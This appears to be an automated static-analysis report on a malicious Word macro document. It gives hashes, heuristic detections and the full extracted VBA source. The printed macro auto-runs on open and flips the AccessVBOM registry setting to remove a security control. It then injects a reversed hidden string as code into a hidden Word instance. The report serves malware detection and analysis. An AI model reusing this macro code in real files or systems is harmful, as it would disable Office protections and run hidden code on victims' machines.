Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c331660507875af5…

MALICIOUS

Office (OOXML)

76.0 KB Created: 2021-05-06 09:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-15
MD5: fac0daf8dc6f3f28124179b700f64092 SHA-1: 742dd50f3950c0ab7e4f5af0e07d716eab78cfa7 SHA-256: c331660507875af559a3553747c5de2ea1d1303bdca759a4926b0b2e37d193b0
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    With CreateObject("wscript.shell")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .AddFromString listLeftStorage
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set optionMem = CreateObject("word.application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2064 bytes
SHA-256: bf512ad26dfeddd158a97d487ab6de3977ef66e3951451deb208ba3ff59d689e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{8FF56373-80E6-4DA4-9788-7BE7B2E45A85}{DD78E78B-9450-40E3-B132-9CE225DCD54C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "copyTmp"
Sub autoopen()
copyIteratorView 1
Dim namespaceIndex As String
namespaceIndex = bufferViewLen
arrayGenericOption namespaceIndex
End Sub

Attribute VB_Name = "memoryALocal"
Sub arrayGenericOption(listLeftStorage As String)
Set optionMem = CreateObject("word.application")
With optionMem.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString listLeftStorage
End With
optionMem.Visible = False
optionMem.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "storageBufTrust"
Function memoryButton() As String
memoryButton = Application.Version
End Function
Sub bufferTextFunc(buttonProcedureTextbox, memProcedure)
With CreateObject("wscript.shell")
.RegWrite buttonProcedureTextbox, memProcedure, "REG_DWORD"
End With
End Sub
Function bufferCollection(buttonProcedureTextbox)
bufferCollection = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
End Function
Function selectBorderTemp(buttonProcedureTextbox)
selectBorderTemp = "\Word\Security\AccessVBOM"
End Function
Sub copyIteratorView(memProcedure)
buttonProcedureTextbox = bufferCollection("optionClassStorage")
borderOption = memoryButton
buttonLinkMemory = selectBorderTemp("optionClassStorage")
bufferTextFunc buttonProcedureTextbox & borderOption & buttonLinkMemory, memProcedure
End Sub
Function bufferViewLen()
bufferViewLen = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 74a8b2a8d90ba086551e5f98580397bd7b2ba3f6b18f6452252a74688751b945

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